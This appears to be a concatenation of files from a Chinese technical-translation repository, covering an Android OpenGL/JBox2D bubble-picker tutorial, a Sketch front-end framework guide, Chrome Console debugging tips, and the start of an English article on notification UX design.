的[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)到分屏特性,两个平台间有了许多相同之处。对设计师而言,我们可以将主流功能设计成两个平台一致(过去需要单独设计)。对开发者而言,这是一个提高、改进开发技巧的好机会。 所以我们决定开发一个安卓气泡选择的组件库 —— 灵感来自于[苹果音乐](http://www.apple.com/lae/apple-music/)的气泡选择。 ### **先说设计** ### 我们的气泡选择动画是一个好的范例,它对不同的用户群体有着同样的吸引力。气泡以方便的 UI 元素汇总信息,通俗易懂并且视觉一致。它让界面对新手足够简单的同时还能吸引老司机的兴趣。 这种动画类型对丰富应用的内容由很大帮助,主要使用场景是:用户要从一系列选项中进行选择时的页面。例如,我们使用气泡来选择旅游应用中潜在目的地名字。气泡自由的浮动,当用户点击一个气泡时,选中的气泡会变大。这给用户很深刻的反馈并增强操作的直观感受。 组件使用白色主题,明亮的颜色和图片贯穿始终。此外,我决定试验渐变来增加深度和体积。渐变可能是主要的显示特征,会吸引新用户的注意。 气泡选择的渐变 我们允许开发者自定义所有的 UI 元素,所以我们的组件适合任意的应用。 ### **再看开发者的挑战** ### 当我决定实现这个动画时,我面临的第一个问题就是使用什么工具开发。我清楚知道绘制如此快速的动画在 Canvas 上绘制的效率是不够的,所以决定使用 OpenGL (Open Graphics Library)。OpenGL 是一个跨平台的 2D 和 3D 图形绘制应用开发接口。幸运地是,Android 支持部分版本的 OpenGL。 我需要圆自然地运动,就像碳酸饮料中的气泡那样。对 Android 来说有许多可用的物理引擎,同时我又有一些特定需要,使得选择变得更加困难。我的需求是:引擎要轻量级并且方便嵌入 Android 库。多数的引擎是为游戏开发的,并且它们需要调整工程结构来适应它们。功夫不负有心人,我最终找到了 JBox2D(C++ 引擎 Box2D 的 Java 版),因为我们的动画不需要支持大量的物理实体(例如 200+),使用非原版的 Java 版引擎已经足够了。 此外,本文后面我会解释我为什么选择 Kotlin 语言开发,以及这样做的好处。需要了解 Java 和 Kotlin 更多不同之处可以阅读我之前的[文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。 **如何创建着色器?** 首先,我们需要理解 OpenGL 中的基础构件三角形,因为它是和其它形状类似且最简单的形状。所以你绘制的任意图形都是由一个或多个三角形组成。在动画实现中,我使用两个关联的三角形代表一个实体,所以我画圆的地方像一个正方形。 绘制一个形状至少需要两个着色器 —— 顶点着色器和片段着色器。通过名字就可以区分他们的用途。顶点着色器负责绘制每个三角形的顶点,片段着色器负责绘制三角形中每个像素。 三角形的片段和顶点 顶点着色器负责控制图形的变化(例如:大小、位置、旋转),片段着色器负责形状的颜色。 ``` // language=GLSL val vertexShader = """ uniform mat4 u_Matrix; attribute vec4 a_Position; attribute vec2 a_UV; varying vec2 v_UV; void main() { gl_Position = u_Matrix * a_Position; v_UV = a_UV; } """ ``` 顶点着色器 ``` // language=GLSL val fragmentShader = """ precision mediump float; uniform vec4 u_Background; uniform sampler2D u_Texture; varying vec2 v_UV; void main() { float distance = distance(vec2(0.5, 0.5), v_UV); gl_FragColor = mix(texture2D(u_Texture, v_UV), u_Background, smoothstep(0.49, 0.5, distance)); } """ ``` 片段着色器 着色器使用 GLSL(OpenGL 着色语言) 编写,需要运行时编译。如果项目使用的是 Java,那么最方便的方式是在另一个文件编写你的着色器,然后使用输入流读取。如上述示例代码所示,Kotlin 可以简单地在类中创建着色器。你可以在 `"""` 中间添加任意的 GLSL 代码。 GLSL 中有许多类型的变量: - 顶点和片段的 `uniform` 变量的值是相同的 - 每个顶点的 `attribute` 变量是不同的 - `varying` 变量负责从顶点着色器向片段着色器传递数据,它的值由片段线性地插入。 `u_Matrix` 变量包含由圆初始化位置的 `x` 和 `y` 构成的变化矩阵,显然它的值对图形的所有顶点拉说都是相同的,类型为 `uniform`,然而顶点的位置是不同的,所以 `a_Position` 变量是 `attribute` 类型。`a_UV` 变量有两个用途: 1. 确定当前片段和正方形中心位置的距离。根据这个距离,我可以调整片段的颜色而实现画圆。 2. 正确地将 texture(照片和国家的名字)置于图形的中心位置。 圆的中心 `a_UV` 包含 `x` 和 `y`,它们的值每个顶点都不同,取值范围是 0 ~ 1。我只给顶点着色器 `a_UV` 和 `v_UV` 两个入参,因此每个片段都可以插入 `v_UV`。并且对于片段中心点的 `v_UV` 值为 [0.5, 0.5]。我使用 `distance()` 方法计算两个点的距离。 **使用** `smoothstep` **绘制平滑的圆** 起初片段着色器看上去不太一样: `gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;` 我根据点到中心的距离调整片段的颜色,没有采取抗锯齿手段。当然结果差强人意 —— 圆的边是凹凸不平的。 有锯齿的圆 解决方案是 `smoothstep`。它根据到 texture 与背景的变换起始点的距离平滑的从0到1变化。因此距离 0 到 0.49 时 texture 的透明度为 1,大于等于 0.5 时为 0,0.49 和 0.5 之间时平滑变化,如此圆的边就平滑了。 无锯齿圆 **OpenGL 中如何使用 texture 显示图像和文本?** 在动画中圆有两种状态 —— 普通和选中。在普通状态下圆的 texture 包含文字和颜色,在选中状态下同时包含图像。因此我需要为每个圆创建两个不同的 texture。 我使用 Bitmap 实例来创建 texture,绘制所有元素。 ``` fun bindTextures(textureIds: IntArray, index: Int) { texture = bindTexture(textureIds, index * 2, false) imageTexture = bindTexture(textureIds, index * 2 + 1, true) } private fun bindTexture(textureIds: IntArray, index: Int, withImage: Boolean): Int { glGenTextures(1, textureIds, index) createBitmap(withImage).toTexture(textureIds[index]) return textureIds[index] } private fun createBitmap(withImage: Boolean): Bitmap { var bitmap = Bitmap.createBitmap(bitmapSize.toInt(), bitmapSize.toInt(), Bitmap.Config.ARGB_4444) val bitmapConfig: Bitmap.Config = bitmap.config ?: Bitmap.Config.ARGB_8888 bitmap = bitmap.copy(bitmapConfig, true) val canvas = Canvas(bitmap) if (withImage) drawImage(canvas) drawBackground(canvas, withImage) drawText(canvas) return bitmap } private fun drawBackground(canvas: Canvas, withImage: Boolean) { ... } private fun drawText(canvas: Canvas) { ... } private fun drawImage(canvas: Canvas) { ... } ``` 之后我将 texture 单元赋值给 `u_Text` 变量。我使用 `texture2()` 方法获取片段的真实颜色,`texture2()` 接收 texture 单元和片段顶点的位置两个参数。 **使用 JBox2D 让气泡动起来** 关于动画的物理特性十分的简单。主要的对象是 `World` 实例,所有的实体创建都需要它。 ``` class CircleBody(world: World, var position: Vec2, var radius: Float, var increasedRadius: Float) { val decreasedRadius: Float = radius val increasedDensity = 0.035f val decreasedDensity = 0.045f var isIncreasing = false var isDecreasing = false var physicalBody: Body var increased = false private val shape: CircleShape get() = CircleShape().apply { m_radius = radius + 0.01f m_p.set(Vec2(0f, 0f)) } private val fixture: FixtureDef get() = FixtureDef().apply { this.shape = this@CircleBody.shape density = if (radius > decreasedRadius) decreasedDensity else increasedDensity } private val bodyDef: BodyDef get() = BodyDef().apply { type = BodyType.DYNAMIC this.position = this@CircleBody.position } init { physicalBody = world.createBody(bodyDef) physicalBody.createFixture(fixture) } } ``` 如你所见创建实体很简单:需要指定实体的类型(例如:动态、静态、运动学)、位置、半径、形状、密度以及运动。 每次画面绘制,都需要调用 `World` 的 `step()` 方法移动所有的实体。之后你可以在图形的新位置进行绘制。 我遇到的问题是 `World` 的重力只能是一个方向,而不能是一个点。JBox2D 不支持轨道重力。因此将圆移动到屏幕中心是无法实现的,所以我只能自己来实现引力。 ``` private val currentGravity: Float get() = if (touch) increasedGravity else gravity private fun move(body: CircleBody) { body.physicalBody.apply { val direction = gravityCenter.sub(position) val distance = direction.length() val gravity = if (body.increased) 1.3f * currentGravity else currentGravity if (distance > step * 200) { applyForce(direction.mul(gravity / distance.sqr()), position) } } } ``` 引擎 引力挑战 每次发生移动时,我计算出力的大小并作用于每个实体,看上去就像圆受引力作用在移动。 **GlSurfaceView 中检测用户触摸事件** `GLSurfaceView` 和其它的 Android view 一样可以响应用户的点击事件。 ``` override fun onTouchEvent(event: MotionEvent): Boolean { when (event.action) { MotionEvent.ACTION_DOWN -> { startX = event.x startY = event.y previousX = event.x previousY = event.y } MotionEvent.ACTION_UP -> { if (isClick(event)) renderer.resize(event.x, event.y) renderer.release() } MotionEvent.ACTION_MOVE -> { if (isSwipe(event)) { renderer.swipe(event.x, event.y) previousX = event.x previousY = event.y } else { release() } } else -> release() } return true } private fun release() = postDelayed({ renderer.release() }, 1000) private fun isClick(event: MotionEvent) = Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20 private fun isSwipe(event: MotionEvent) = Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20 ``` `GLSurfaceView` 拦截所有的点击,并用渲染器进行处理。 ``` fun swipe(x: Float, y: Float) = Engine.swipe(x.convert(glView.width, scaleX), y.convert(glView.height, scaleY)) fun release() = Engine.release() fun Float.convert(size: Int, scale: Float) = (2f * (this / size.toFloat()) - 1f) / scale ``` 渲染器 ``` fun swipe(x: Float, y: Float) { gravityCenter.set(x * 2, -y * 2) touch = true } fun release() { gravityCenter.setZero() touch = false } ``` 引擎 用户点击屏幕时,我将重力中心设为用户点击点,这样看起来就像用户在控制气泡的移动。用户停止移动后我会将气泡恢复到初始位置。 **根据用户点击坐标查找气泡** 当用户点击圆时,我从 `onTouchEvent()` 方法获取屏幕点击点。但是我也需要找到 OpenGL 坐标系中点击的圆。`GLSurfaceView` 的默认中心位置坐标为 [0, 0],`x` `y` 取值范围为 -1 到 1。所以我需要考虑屏幕的比例。 ``` private fun getItem(position: Vec2) = position.let { val x = it.x.convert(glView.width, scaleX) val y = it.y.convert(glView.height, scaleY) circles.find { Math.sqrt(((x - it.x).sqr() + (y - it.y).sqr()).toDouble()) <= it.radius } } ``` 渲染器 当找到选择的圆后,我会修改它的半径和 texture。 ### 你可以随机的使用本组件! ### 我们的组件可以让应用更聚焦内容、原始以及充满乐趣。 **以下途径可以获取 Bubble Picker :** [**GitHub**](https://github.com/igalata/Bubble-Picker) , [**Google Play**](https://play.google.com/store/apps/details?id=com.igalata.bubblepickerdemo) **以及** [**Dribbble**](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component) **。** 这只是组件的第一个版本,但我们肯定会有后续的迭代。我们将支持自定义气泡的物理特性和通过 url 添加动画的图像。此外,我们还计划添加一些新特性(例如:移除气泡)。 不要犹豫把您的实验发给我们,我们非常想知道您是怎样使用 Bublle Picker 的。如果您有任何问题或者建议,欢迎随时联系我们。 我们将会继续发布一些炫酷的东西。敬请期待! ================================================ FILE: TODO/how-to-create-a-front-end-framework-with-sketch.md ================================================ > * 原文地址:[How to create a FRONT END FRAMEWORK with Sketch](https://medium.com/sketch-app-sources/how-to-create-a-front-end-framework-with-sketch-2379edb5e7df#.r6g3tx6wk) * 原文作者:[Seba Mantel](https://medium.com/@sebamantel) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Ruixi](https://github.com/Ruixi) * 校对者:[marcmoore](https://github.com/marcmoore),[AceLeeWinnie](https://github.com/AceLeeWinnie) # 如何用 Sketch 打造「前端框架」 ![](https://cdn-images-1.medium.com/max/800/1*5XO0vb0mmbRoCLvB1Laxww.png) 前端框架 **需要考虑的事项:** 当我们与一大群设计师同时推进同一个项目的时候,要做到协调一致非常困难。而在面对有审美要求、对指定行为和互动有明确要求的系统性项目时尤为如此。 我们可用于建立界面的标准化的手段之一就是定义一份风格指南(纯视觉角度),这样可以帮助整个设计团队避免在未来可能出现的改动带来的不必要的工作时间,提高工作效率。让我们可以把精力更好的集中在组件的行为和应用中的交互上。 一份优秀的风格指南需要被团队全员采用,比如开发者、产品负责人、项目经理,甚至客户都要接受。这对各个成员之间的沟通与合作有极大裨益。我们称这种“升级版”的风格指南为 **前端框架(FEF)**。 在开始动手制作 **风格指南** 之前,有几条原则需要你牢记在心: > **必须可用** 且必须易于融入不同的工作流之中。 > **必须有教育引导的作用** 且需要包含可以帮助我们创造新的组件和交互的样板。 > **必须可视化** 且规范明确。 > **必须协同**,这样每个成员都可以修改和添加新内容。 > **必须随时更新**,所以它应该放在一个特殊的库里,无论是谁做了修改都得更新文件。 ### 来开始动手打造前端框架吧 #### **第 1 步, 定义 IA:** **第一步是定义内容(根据项目,划分如下):** 1. **样式:** 色系,字型字体,icon。(这里 font family 和 typography 的含义比较接近,于是对字体类型的选用和对字体本身的格式要求做了合并,另附[参考文章](http://blog.justfont.com/2013/02/some_nouns/),译者注) 2. **版式布局和页面模式** 不同的组合元素,网格和主导航。 3. **导航元素:** 链接,标签和分页。 4. **模态对话框:** 弹出框,工具提示(提示框),下拉菜单,消息对话框。 5. **文本输入:** 表单。 6. **组件** #### **第 2 步, 创建前端框架内容:** **样式**— 首先需要定义主色,次色和其他辅助色,并指定其所适用的 RGB 色值。 ![](https://cdn-images-1.medium.com/max/800/1*0680BvMRMDvOqv4MRA4VQg.png) 色彩 然后在 sketch 里创建 shared style,以便在未来的设计工作中优化工作流程。 ![](https://cdn-images-1.medium.com/max/800/1*21VbE5DSGT7keM78gPgmwQ.png) 创建新的 shared style 在前端框架中合理的组件命名会使 sketch 中的样式表更加有条理。 ![](https://cdn-images-1.medium.com/max/800/1*HF9eeJVg8B9SPtTZaILG8g.png) 这样,在我们想要快速更改一个组件的颜色的时候,只需要在 style 中进行更改,而且可以确保不会混入其他的色彩。 ![](https://cdn-images-1.medium.com/max/800/1*BECrGby5mDvj2CvH0PD7Tw.gif) 对于版式,也是 **类似的步骤** : ![](https://cdn-images-1.medium.com/max/800/1*7Y7b4PgKIfW0ZjfQRVdeYw.png) 1. 详细定义将会在设计中使用的字体,主要的和次要的。 2. 和颜色类似,在 sketch 中创建 style。 ![](https://cdn-images-1.medium.com/max/800/1*r5kXboT_OU3FuvYW-JTdDA.png) 在创建字体和色彩的样式之后,添加将要用到的全系列 icon ,并将其转化为 symbol。这样,如果有人更改它们的话,凡是用到它们的地方都会同时修改。 ![](https://cdn-images-1.medium.com/max/800/1*zY38WGccGulaGcDx9mN_pQ.png) **Tip**: 创建同一 icon 的不同状态,将其按照 **组件名/状态/子状态** 的规则命名。这样我们就可以轻易地从主菜单访问到所有状态,不必再去修改原来的 icon 了。 ![](https://cdn-images-1.medium.com/max/800/1*Plvt7vP2xWMqdNddWTpAEg.png) 这也同样适用于那些有多种状态的组件,比如复选框(checkbox)。相应的命名规则为: ![](https://cdn-images-1.medium.com/max/600/1*x7SSpMS1HYyksCeGDlf0ew.png) 1. *checkbox/normal* 2. *checkbox/hover* 3. *checkbox/focus/minus* 4. *checkbox/focus/check* 5. *checkbox/pressed* 6. *checkbox/disabled/check* 7. *checkbox/disabled* 这些都会显示在顶部菜单的 **插入** 里。 ![](https://cdn-images-1.medium.com/max/800/1*kBtWUmlgfvJ9eTjD4B3srg.png) 这样,修改状态就简单多了,有效地解决了设计中的不少麻烦。 ![](https://cdn-images-1.medium.com/max/800/1*O5oibWdHf0nAw2F_H2o3eQ.gif) ### **第 3 步,创建组件:** 在定义了通用样式并且在 sketch 中创建 style 之后,开始忙活组件吧,它们会在整个应用中不断被重复使用 (比如像是主导航啦,下拉菜单啦,弹出框,数据网格,等等)。这主要就是为了在创建新的界面的时候能让全体设计师保持一致。 我很喜欢用这些组件来举例子: ![](https://cdn-images-1.medium.com/max/600/1*RsguKlz0WVVfrxnby2cGGg.png) 工具提示,设计师要是想要改变背景色的话,就和在 style 中选择相应颜色一样简单。 --- ![](https://cdn-images-1.medium.com/max/600/1*rmoiLTbljAL_Iv_jREEfqw.gif) **表单** — **Tip** : 通过将文本框作为 symbol,可以在 sketch 中不访问 symbol 本体的情况下修改内容。* **每个组件都必须附带一段说明文本(何时使用以及将会产生的反应)。** 必要的话,你可以在右边指定一个部分来说明大小\边距和样式。 ![](https://cdn-images-1.medium.com/max/1000/1*XTVyLYKhaCv1sbPbk36HQQ.png) ![](https://cdn-images-1.medium.com/max/600/1*2czyxGfUjQTlZlVcnYSHvQ.png) 此规范的重点在于向开发团队提供信息,以便它们会被添加在同一文档或者 Zeplin 中来作为沟通工具。这样你就可以得到 css 值和下载组件了。 --- ![](https://cdn-images-1.medium.com/max/800/1*jkfloUVJ4GNoYqjxhMkPmg.png) ### **第 4 步,行为表现:** 有些组件的大小(宽和高)取决于我们所使用的网格的大小,比如数据列表或数据网格。sketch 为这种类型的组件图提供了一系列的选项,以便预定义每个元素的位置,这个表格将会是响应式的。 ![](https://cdn-images-1.medium.com/freeze/max/30/1*GmMBqaF-_o8DSW15ofCA1Q.gif?q=20) ![](https://cdn-images-1.medium.com/max/800/1*lsv9CluG3SLG1IiUtHrsoQ.gif) 如何实现响应式效果呢?在 Sketch V39 中,添加了 4 个新的选项来实现这种效果。 ![](https://cdn-images-1.medium.com/max/600/1*2fdvGW7BjPqQJux63bv9BQ.png) 选项如下: **Stretch** (默认)——在调整分组大小的时候浮动调整图层的大小(此选项适用于分割线和每一行的矩形)。 **Pin to corner** —— 自动将新图层固定在最近的角落。在调整分组大小的时候不影响图层的大小。(适用于图标右上和和复选框。) **Resize object** —— 在调整分组大小的时候调整图层大小并保持其位置的百分比。(文本框必须有这个选项,来保证它们的边缘和左侧的分界线。) **Float in place** —— 在调整分组大小的时候图层大小不变,但其位置按照百分比缩放。(适用于必须在列中居中的 icon。) 想要了解更多关于此类表格创建的信息,推荐以下文章: [https://medium.com/sketch-app-sources/https-medium-com-megaroeny-resizing-tables-withsketch-3-9-2e02e6382d3d#.fsx0udd9v](https://medium.com/sketch-app-sources/https-medium-com-megaroeny-resizing-tables-with-sketch-3-9-2e02e6382d3d#.fsx0udd9v) ### **第 5 步,参考** 最后,除了在所有应用中维护一种设计语言之外,每个元素的结构都可能随着产品需求和需要而变化。 所以,建议创建最后一个章节,来展示组件如何依据功能需求来使用。这样设计者们可以分析并学习如何在不同的架构下复用样式。 ![](https://cdn-images-1.medium.com/max/1000/1*7dwpsMQbPutwLDEz8cCzfg.png) ### **共同的未来** 在一个复杂的项目中,将团队全体成员的工作建立在一份风格指南之上可以大大提高工作效率,这种协调可以有效避免类似“某个组件在较小分辨率下的行为是什么”的问题。 大多数情况下,我们总是着力于尽快推出最初的版本,因此,问题是随着产品的产生而出现的。在这种情况下,前端框架可以有所作为而且避免一系列让人头疼的问题。 这里是 sketch 文件,可随意下载。[https://www.dropbox.com/s/kknipcg3u0e69ds/FEF.sketch?dl=0](https://www.dropbox.com/s/kknipcg3u0e69ds/FEF.sketch?dl=0) ================================================ FILE: TODO/how-to-debug-front-end-console.md ================================================ > * 原文地址:[How to debug Front-end: Console](https://blog.pragmatists.com/how-to-debug-front-end-console-3456e4ee5504) > * 原文作者:[Michał Witkowski](https://blog.pragmatists.com/@WitkowskiMichau?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-debug-front-end-console.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-debug-front-end-console.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[Raoul1996](https://github.com/Raoul1996) # 前端 Console 调试小技巧 ![](https://cdn-images-1.medium.com/max/800/1*7YqeM-SzGWEHzbROo_MyAQ.jpeg) 开发者们在开发的过程中会无意地产生一些 bug。bug 越老,找到并修复它的难度就越高。在本系列的文章中,我将试着向你展示如何使用 Google Chrome 开发者工具、Chrome 插件以及 WebStorm 进行调试。 这篇文章将介绍最常用的调试工具 —— Chrome Console。请享用! ### Console 打开 Chrome 开发者工具的方法: * 在主菜单中选择“更多工具”菜单 > 点击开发者工具。 * 在页面任何元素上右键,选择“检查”。 * 在 Mac 中,按下 Command+Option+I;在 Windows 与 Linux 中,按下 Ctrl+Shift+I。 请观察 Console 选项卡中的内容。 ![](https://cdn-images-1.medium.com/max/800/0*ZggoM0sI_jj1QafW.) 第一行: ![](https://cdn-images-1.medium.com/max/600/1*-EAbAlPJaC22sk1R4z6GPA.png) - 清空 console 控制台 `top` — 在默认状态下,Console 的上下文(context)为 top(顶级)。不过当你检查元素或使用 Chrome 插件上下文时,它会发生变化。 你可以在此更改 console 执行的上下文(页面的顶级 frame)。 **过滤:** 对控制台的输出进行过滤。你可以根据输出严重级别、正则表达式对其进行过滤,也可以在此隐藏网络连接产生的消息。 **设置:** `Hide network` — 隐藏诸如 404 之类的网络错误。 `Preserve log` — 控制台将会在页面刷新或者跳转时不清空记录。 `Selected context only` — 勾上后可以根据前面 top 选择的上下文来指定控制台的日志记录范围。 `User messages only` — 隐藏浏览器产生的访问异常之类的警告。 `Log XMLHttpRequests` — 顾名思义,记录 XMLHttpRequest 产生的信息。 `Show timestamps` — 在控制台中显示时间戳信息。 `Autocomplete from history` — Chrome 会记录你曾经输入过的命令,进行自动补全。 ### 选择合适的 Console API 控制台会在你应用的上下文中运行你输入的 JS 代码。你可以轻松地通过控制台查看全局作用域中存储的东西,也可以直接输入并查看表达式的结果。例如:“null === 0”。 #### console.log — 对象引用 根据定义,console.log 将会在控制台中打印输出内容。除此之外,你还得知道,console.log 会对你展示的对象保持引用关系。请看下面的代码: ``` var fruits = [{one: 1}, {two: 2}, {three: 3}]; console.log('fruits before modification: ', fruits); console.log('fruits before modification - stringed: ', JSON.stringify(fruits)); fruits.splice(1); console.log('fruits after modification: ', fruits); console.log('fruits after modification - stringed : ', JSON.stringify(fruits)) ``` ![](https://cdn-images-1.medium.com/max/800/0*L5q3tcszjc1IYXRT.) 当调试对象或数组时,你需要注意这点。我们可以看到 `fruits` 数组再被修改前包含 3 个对象,但之后发生了变化。如需要在特定时刻查看结果,可以使用 `JSON.stringify` 来展示信息。不过这种方法对于展示大对象来说并不方便。之后我们会介绍更好的解决方案。 #### console.log — 对对象属性进行排序 JavaScript 是否能保证对象属性的顺序呢? > 4.3.3 Object — ECMAScript 第三版 (1999) > 对象是 Object 的成员,它是一组无序属性的集合,每个属性都包含一个原始值、对象或函数。称存储在对象属性中的函数为方法。 但是…… 在 ES5 中它的定义发生了改变,属性可以有序 —— 但你还是不能确定你的对象属性是否能按顺序排列。浏览器通过各种方法实现了有序属性。在 Chrome 中运行下面的代码,可以看到令人困惑的结果: ``` var letters = { z: 1, t: 2, k: 6 }; console.log('fruits', letters); console.log('fruits - stringify', JSON.stringify(letters)); ``` ![](https://cdn-images-1.medium.com/max/800/0*aISOsYX8-BnOtWy4.) Chrome 按照字母表的顺序对属性进行了排序。没法说我们是否应该喜欢这种排序方式,但了解这儿发生了什么总没坏处。 #### console.assert(expression, message) 如果 expression 表达式的结果为 `false`,`Console.assert` 将会抛出错误。关键的是,assert 函数不会由于报错而停止评估之后的代码。它可以帮助你调试冗长棘手的代码,或者找到多次迭代后函数自身产生的错误。 ``` function callAssert(a,b) { console.assert(a === b, 'message: a !== b ***** a: ' + a +' b:' +b); } callAssert(5,6); callAssert(1,1); ``` ![](https://cdn-images-1.medium.com/max/800/0*Pdq0UFBR4kCZA6iE.) #### console.count(label) 简而言之,它就是一个会计算相同表达式执行过多少次的 `console.log`。其它的都一样。 ``` for(var i =0; i <=3; i++){ console.count(i + ' Can I go with you?'); console.count('No, no this time'); } ``` ![](https://cdn-images-1.medium.com/max/800/0*2yH13TAvSFpKrTWn.) 如上面的例子所述,只有完全相同的表达式才会增加统计数字。 #### console.table() 很好用的调试函数,但即使它会提高工作效率,我也一般懒得用它…… 别像我这样,咱要保持高效。 ``` var fruits = [ { name: 'apple', like: true }, { name: 'pear', like: true }, { name: 'plum', like: false }, ]; console.table(fruits); ``` ![](https://cdn-images-1.medium.com/max/800/0*qe69gSjpDllYrGvY.) 它非常棒。第一,你可以将所有东西都整齐地放在表格中;第二,你也会得到 `console.log` 的结果。它在 Chrome 中可以正常工作,但是不保证兼容所有浏览器。 ``` var fruits = [ { name: 'apple', like: true }, { name: 'pear', like: true }, { name: 'plum', like: false }, ]; console.table(fruits, ['name']) ``` ![](https://cdn-images-1.medium.com/max/800/0*Fv8KsLDQIPY8yfJN.) 我们可以决定是完全展示数据内容还是只展示整个对象的某几列。这个表格是可排序的 —— 点击需要排序的列的表头,即可按此列对表格进行排序。 #### console.group() / console.groupEnd(); 这次让我们直接从代码开始介绍。运行下面的代码看看控制台是如何进行分组的。 ``` console.log('iteration'); for(var firstLevel = 0; firstLevel<2; firstLevel++){ console.group('First level: ', firstLevel); for(var secondLevel = 0; secondLevel<2; secondLevel++){ console.group('Second level: ', secondLevel); for(var thirdLevel = 0; thirdLevel<2; thirdLevel++){ console.log('This is third level number: ', thirdLevel); } console.groupEnd(); } console.groupEnd(); } ``` ![](https://cdn-images-1.medium.com/max/800/0*X3vtX9amAT_Or_DO.) 它可以帮助你更好的处理数据。 #### console.trace(); console.trace 会将调用栈打印在控制台中。如果你正在构建库或框架时,它给出的信息将十分有用。 ``` function func1() { func2(); } function func2() { func3(); } function func3() { console.trace(); } func1(); ``` ![](https://cdn-images-1.medium.com/max/800/0*4JoZfbntg4bGr03y.) #### 对比 console.log 与 console.dir ``` console.log([1,2]); console.dir([1,2]); ``` ![](https://cdn-images-1.medium.com/max/800/0*SI2ge80spD1WY9yI.) 它们的实现方式取决于浏览器。在最开始的时候,规范中建议 dir 要保持对对象的引用,而 log 不需要引用。(Log 会显示一个对象的副本)。但现在,如上图所示,log 也保持了对于对象的引用。它们展示对象的方式有所不同,但我们不再加以深究。不过 dir 在调试 HTML 对象的时候会非常有用。 > 译注:console.dir 会详细打印一个对象的所有属性与方法。 #### $_, $0 — $4 `$_` 会返回最近执行表达式的值。 `$0 — $4` — 分别作为近 5 此检查元素时对 HTML 元素的引用。 ![](https://cdn-images-1.medium.com/max/800/0*J1jrQOkNHzaDA_hu.) #### getEventListeners(object) 返回指定 DOM 元素上注册的事件监听器。这儿还有一种更便捷的方法来设置事件监听,下次教程会介绍它。 ![](https://cdn-images-1.medium.com/max/800/0*JrWFBmu3UKYy-nFj.) ### monitorEvents(DOMElement, [events]) / unmonitorEvents(DOMElement) 在指定 DOM 元素上触发任何事件时,都可以在控制台中看到相关信息。直到取消对相应元素的监视。 ![](https://cdn-images-1.medium.com/max/800/0*PJTUIgivpcMGnrRP.) ### 在控制台中选择元素 ![](https://cdn-images-1.medium.com/max/800/0*Dr5KRB77jQrjjdA4.) 在 Element 标签中按 ESC 键展开这个界面。 在 `$` 没有另做它用的情况下: `$()` — 相当于 `**document.querySelector()**`。它会返回匹配 CSS 选择器的第一个元素(例如 `$('span')` 会返回第一个 span) `$$()` — 相当于 `**document.querySelectorAll()**`。它会以数组的形式返回所有匹配 CSS 选择器的元素。 #### 复制打印的数据 有时,当你处理数据时可能会想打个草稿,或者简单地看看两个对象是否有区别。全选之后再复制可能会很麻烦,在此介绍一种很方便的方法。 在打印出的对象上点击右键,选择 copy(复制),或选择 Store as global element(将指定元素的引用存储在全局作用域中),然后你就可以在控制台中操作刚才存储的元素啦。 控制台中的任何内容都可以通过使用 `copy('object-name')` 进行复制。 #### 自定义控制台输出样式 假设你正在开发一个库,或者在为公司、团队开发一个大模块。此时在开发模式下对一些日志进行高亮处理会很舒爽。你可以试试下面的代码: `console.log('%c Truly hackers code! ', 'background: #222; color: #bada55');` ![](https://cdn-images-1.medium.com/max/800/0*RYIJp1JEZhZ7Nqm8.) `%d` 或 `%i` — 整型值 `%f` — 浮点值 `%o` — 可展开的 DOM 元素 `%O` — 可展开的 JS 对象 `%c` — 使用 CSS 格式化输出 以上就是本文的全部内容,但并不是 Console 这个话题的全部内容。你可以点击以下链接了解更多有关知识: * [Command Line API Reference](https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference) by Google * [Console API](https://developer.mozilla.org/en-US/docs/Web/API/Console) by MDN * [Console API](http://2ality.com/2013/10/console-api.html) by 2ality * [CSS Selectors](https://developer.mozilla.org/pl/docs/Web/CSS/CSS_Selectors) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-design-notifications-for-better-ux.md ================================================ > * 原文地址:[How To Design Notifications For Better UX](https://uxplanet.org/how-to-design-notifications-for-better-ux-6fb0711be54d) > * 原文作者:[CanvasFlip](https://uxplanet.org/@CanvasFlip?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-design-notifications-for-better-ux.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-design-notifications-for-better-ux.md) > * 译者: > * 校对者: # How To Design Notifications For Better UX: Notifications are double-edged swords. Getting it right is the key to success. Notifications evoke mixed reactions from users. Many a times they find it useful. Many a times they are annoyed by it. But notifications serve a purpose. They are powerful tools to inform users of app crashes, introduce them to new features & updates, and inform them about new messages and mails from friends. From marketing perspective, they help connect with users who have abandoned apps and promote engagement. Notifications are anti UX. They are a distraction. So how to design your notification so that it becomes purposeful and useful? But before that let’s understand notifications in detail. ![Typical interface for notifications](https://cdn-images-1.medium.com/max/800/0*xnVVI5oOkzjKLud_.) **What are notifications?** We go by the simple definition. Notification is an act of bringing something to the notice of the user. Notification is a way for an app to notify you or send you a message that you can read without having to open the app. A very simple example of a notification is an email alert. You get a flash message on your smartphone screen when you receive an email. You wish to open the app directly from the main screen itself. You can also dismiss the notification by sliding it across. However, the main purpose of the notification is to announce the arrival of the email. Under normal 